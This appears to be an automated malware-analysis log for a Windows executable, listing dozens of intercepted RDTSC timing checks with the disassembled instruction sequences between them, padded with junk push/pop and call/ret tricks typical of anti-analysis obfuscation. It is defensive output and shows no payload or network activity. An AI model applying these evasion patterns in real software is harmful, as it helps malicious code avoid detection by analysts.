Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E3B86 second address: 3E3BAC instructions: 0x00000000 rdtsc 0x00000002 jnc 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FEE8CE57904h 0x00000011 jno 00007FEE8CE578F6h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E3BAC second address: 3E3BE1 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEE8C708CD6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007FEE8C708CE2h 0x00000011 popad 0x00000012 jc 00007FEE8C708CFCh 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FEE8C708CDEh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E5FD8 second address: 3E5FDC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E5FDC second address: 3E5FF0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8C708CE0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E5FF0 second address: 3E600C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 ja 00007FEE8CE578F6h 0x0000000e jmp 00007FEE8CE578FEh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E600C second address: 3E6031 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8C708CE3h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c ja 00007FEE8C708CD8h 0x00000012 pushad 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E6031 second address: 3E6039 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3AA29C second address: 3AA2C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8C708CDDh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c push ebx 0x0000000d pushad 0x0000000e popad 0x0000000f jmp 00007FEE8C708CDDh 0x00000014 pop ebx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E84C1 second address: 3E84CB instructions: 0x00000000 rdtsc 0x00000002 jne 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E6E52 second address: 3E6E5F instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E870E second address: 3E8713 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E8713 second address: 3E8728 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov eax, dword ptr [esp+04h] 0x0000000b push eax 0x0000000c push edx 0x0000000d jc 00007FEE8C708CD8h 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E8728 second address: 3E8746 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57903h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [eax] 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E8746 second address: 3E874A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E88D7 second address: 3E88DB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3E88DB second address: 3E88DF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3ABD6D second address: 3ABD71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3ABD71 second address: 3ABD77 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3ABD77 second address: 3ABD9C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEE8CE57903h 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e pop edx 0x0000000f jnl 00007FEE8CE57902h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3EF858 second address: 3EF85C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3EF85C second address: 3EF87A instructions: 0x00000000 rdtsc 0x00000002 ja 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b jnc 00007FEE8CE578F6h 0x00000011 pushad 0x00000012 popad 0x00000013 pop esi 0x00000014 push eax 0x00000015 push edx 0x00000016 pushad 0x00000017 popad 0x00000018 jns 00007FEE8CE578F6h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3EF87A second address: 3EF87E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3ABDC2 second address: 3ABDC6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3EF9D8 second address: 3EF9DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3EFB65 second address: 3EFB80 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FEE8CE57900h 0x00000009 popad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3EFB80 second address: 3EFB86 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3EFFAF second address: 3EFFD4 instructions: 0x00000000 rdtsc 0x00000002 jl 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b jg 00007FEE8CE578F6h 0x00000011 jmp 00007FEE8CE57902h 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F02BB second address: 3F02CB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push esi 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop esi 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F0C24 second address: 3F0C2E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ecx 0x00000009 pop ecx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F1013 second address: 3F1017 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F1199 second address: 3F119E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F197D second address: 3F1983 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F1983 second address: 3F1989 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F1D24 second address: 3F1D28 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F2BD5 second address: 3F2BDF instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FEE8CE578F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F2A8F second address: 3F2A99 instructions: 0x00000000 rdtsc 0x00000002 js 00007FEE8C708CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F2BDF second address: 3F2BE5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F2BE5 second address: 3F2BE9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F2BE9 second address: 3F2BF8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F2BF8 second address: 3F2BFC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F2BFC second address: 3F2C02 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F2C02 second address: 3F2C07 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F3C2A second address: 3F3CAD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57901h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebp 0x0000000f call 00007FEE8CE578F8h 0x00000014 pop ebp 0x00000015 mov dword ptr [esp+04h], ebp 0x00000019 add dword ptr [esp+04h], 00000016h 0x00000021 inc ebp 0x00000022 push ebp 0x00000023 ret 0x00000024 pop ebp 0x00000025 ret 0x00000026 mov edi, 59CFC026h 0x0000002b push 00000000h 0x0000002d mov dword ptr [ebp+122D2A38h], ecx 0x00000033 mov edi, 0473282Ah 0x00000038 push 00000000h 0x0000003a push 00000000h 0x0000003c push eax 0x0000003d call 00007FEE8CE578F8h 0x00000042 pop eax 0x00000043 mov dword ptr [esp+04h], eax 0x00000047 add dword ptr [esp+04h], 00000016h 0x0000004f inc eax 0x00000050 push eax 0x00000051 ret 0x00000052 pop eax 0x00000053 ret 0x00000054 stc 0x00000055 xchg eax, ebx 0x00000056 je 00007FEE8CE57902h 0x0000005c jnl 00007FEE8CE578FCh 0x00000062 push eax 0x00000063 push eax 0x00000064 push edx 0x00000065 push eax 0x00000066 push edx 0x00000067 pushad 0x00000068 popad 0x00000069 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F3CAD second address: 3F3CB1 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F3CB1 second address: 3F3CB7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F4765 second address: 3F477F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jg 00007FEE8C708CD6h 0x0000000a popad 0x0000000b pop esi 0x0000000c push eax 0x0000000d pushad 0x0000000e push esi 0x0000000f push eax 0x00000010 pop eax 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 jo 00007FEE8C708CD6h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F477F second address: 3F47C6 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE578FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a nop 0x0000000b push 00000000h 0x0000000d or dword ptr [ebp+122D29B4h], edi 0x00000013 push 00000000h 0x00000015 jmp 00007FEE8CE57909h 0x0000001a xchg eax, ebx 0x0000001b push eax 0x0000001c push edx 0x0000001d push ecx 0x0000001e jmp 00007FEE8CE578FDh 0x00000023 pop ecx 0x00000024 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F47C6 second address: 3F47DD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jg 00007FEE8C708CD6h 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d push eax 0x0000000e push edx 0x0000000f jnl 00007FEE8C708CD8h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F5BF0 second address: 3F5BFA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3FC872 second address: 3FC87E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a pushad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F6D9C second address: 3F6DB4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007FEE8CE578FDh 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3F796C second address: 3F7972 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3FD710 second address: 3FD757 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 pop ecx 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push ebp 0x0000000e call 00007FEE8CE578F8h 0x00000013 pop ebp 0x00000014 mov dword ptr [esp+04h], ebp 0x00000018 add dword ptr [esp+04h], 00000018h 0x00000020 inc ebp 0x00000021 push ebp 0x00000022 ret 0x00000023 pop ebp 0x00000024 ret 0x00000025 push 00000000h 0x00000027 push 00000000h 0x00000029 or ebx, 39479F90h 0x0000002f push eax 0x00000030 pushad 0x00000031 js 00007FEE8CE578FCh 0x00000037 jns 00007FEE8CE578F6h 0x0000003d push eax 0x0000003e push edx 0x0000003f push eax 0x00000040 push edx 0x00000041 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3FD757 second address: 3FD75B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3FE6F4 second address: 3FE75C instructions: 0x00000000 rdtsc 0x00000002 je 00007FEE8CE578FCh 0x00000008 jg 00007FEE8CE578F6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push eax 0x00000011 push ecx 0x00000012 pushad 0x00000013 ja 00007FEE8CE578F6h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c pop ecx 0x0000001d nop 0x0000001e mov dword ptr [ebp+122D1B37h], edx 0x00000024 push 00000000h 0x00000026 jo 00007FEE8CE57902h 0x0000002c jnp 00007FEE8CE578FCh 0x00000032 push 00000000h 0x00000034 push 00000000h 0x00000036 push ebx 0x00000037 call 00007FEE8CE578F8h 0x0000003c pop ebx 0x0000003d mov dword ptr [esp+04h], ebx 0x00000041 add dword ptr [esp+04h], 00000019h 0x00000049 inc ebx 0x0000004a push ebx 0x0000004b ret 0x0000004c pop ebx 0x0000004d ret 0x0000004e mov dword ptr [ebp+12450AFAh], ebx 0x00000054 push eax 0x00000055 push eax 0x00000056 push edx 0x00000057 push edx 0x00000058 pushad 0x00000059 popad 0x0000005a pop edx 0x0000005b rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3FE75C second address: 3FE762 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3FF7ED second address: 3FF7F3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 3FE950 second address: 3FE954 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4008D1 second address: 400955 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE578FFh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FEE8CE57900h 0x0000000e popad 0x0000000f mov dword ptr [esp], eax 0x00000012 or dword ptr [ebp+1245F949h], edx 0x00000018 mov dword ptr [ebp+124713FAh], ecx 0x0000001e push 00000000h 0x00000020 jmp 00007FEE8CE57907h 0x00000025 push 00000000h 0x00000027 mov ebx, dword ptr [ebp+122D1B13h] 0x0000002d xchg eax, esi 0x0000002e pushad 0x0000002f pushad 0x00000030 push ecx 0x00000031 pop ecx 0x00000032 jmp 00007FEE8CE57904h 0x00000037 popad 0x00000038 push eax 0x00000039 push edx 0x0000003a jmp 00007FEE8CE57904h 0x0000003f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 400955 second address: 400959 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 4019F7 second address: 401A0E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57903h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 400BA2 second address: 400BAC instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FEE8C708CD6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 402B44 second address: 402B60 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE57901h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a push eax 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 402B60 second address: 402B64 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 402B64 second address: 402BE9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FEE8CE578FFh 0x0000000b popad 0x0000000c nop 0x0000000d sbb bx, 20DBh 0x00000012 push 00000000h 0x00000014 push 00000000h 0x00000016 push ebx 0x00000017 call 00007FEE8CE578F8h 0x0000001c pop ebx 0x0000001d mov dword ptr [esp+04h], ebx 0x00000021 add dword ptr [esp+04h], 00000014h 0x00000029 inc ebx 0x0000002a push ebx 0x0000002b ret 0x0000002c pop ebx 0x0000002d ret 0x0000002e mov edi, dword ptr [ebp+122D3BFEh] 0x00000034 call 00007FEE8CE57908h 0x00000039 stc 0x0000003a pop ebx 0x0000003b push 00000000h 0x0000003d push 00000000h 0x0000003f push ecx 0x00000040 call 00007FEE8CE578F8h 0x00000045 pop ecx 0x00000046 mov dword ptr [esp+04h], ecx 0x0000004a add dword ptr [esp+04h], 0000001Ah 0x00000052 inc ecx 0x00000053 push ecx 0x00000054 ret 0x00000055 pop ecx 0x00000056 ret 0x00000057 xchg eax, esi 0x00000058 push eax 0x00000059 push edx 0x0000005a push eax 0x0000005b push edx 0x0000005c pushad 0x0000005d popad 0x0000005e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 402BE9 second address: 402BEF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 403C13 second address: 403C2F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FEE8CE57908h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 403C2F second address: 403C3D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edi 0x0000000a push eax 0x0000000b push edx 0x0000000c push edx 0x0000000d pop edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 403C3D second address: 403C41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 404CFA second address: 404CFE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 406CAF second address: 406CBE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushad 0x00000006 popad 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 404E1D second address: 404E21 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 404E21 second address: 404E27 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 404E27 second address: 404E31 instructions: 0x00000000 rdtsc 0x00000002 jc 00007FEE8C708CDCh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 405DCA second address: 405E81 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FEE8CE578FCh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], eax 0x0000000c push 00000000h 0x0000000e push ebx 0x0000000f call 00007FEE8CE578F8h 0x00000014 pop ebx 0x00000015 mov dword ptr [esp+04h], ebx 0x00000019 add dword ptr [esp+04h], 00000015h 0x00000021 inc ebx 0x00000022 push ebx 0x00000023 ret 0x00000024 pop ebx 0x00000025 ret 0x00000026 push dword ptr fs:[00000000h] 0x0000002d mov dword ptr fs:[00000000h], esp 0x00000034 push 00000000h 0x00000036 push ecx 0x00000037 call 00007FEE8CE578F8h 0x0000003c pop ecx 0x0000003d mov dword ptr [esp+04h], ecx 0x00000041 add dword ptr [esp+04h], 00000018h 0x00000049 inc ecx 0x0000004a push ecx 0x0000004b ret 0x0000004c pop ecx 0x0000004d ret 0x0000004e jl 00007FEE8CE57900h 0x00000054 jmp 00007FEE8CE578FAh 0x00000059 push ecx 0x0000005a call 00007FEE8CE578FBh 0x0000005f call 00007FEE8CE57900h 0x00000064 pop edi 0x00000065 pop ebx 0x00000066 pop edi 0x00000067 mov eax, dword ptr [ebp+122D0325h] 0x0000006d jc 00007FEE8CE578FCh 0x00000073 xor ebx, 06819363h 0x00000079 push FFFFFFFFh 0x0000007b movsx edi, si 0x0000007e push eax 0x0000007f jp 00007FEE8CE5790Ch 0x00000085 push eax 0x00000086 push edx 0x00000087 jmp 00007FEE8CE578FAh 0x0000008c rdtsc
Source: C:\Users\user\Desktop\AWrVzd6XpC.exe	RDTSC instruction interceptor: First address: 405E81 second address: 405E85 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
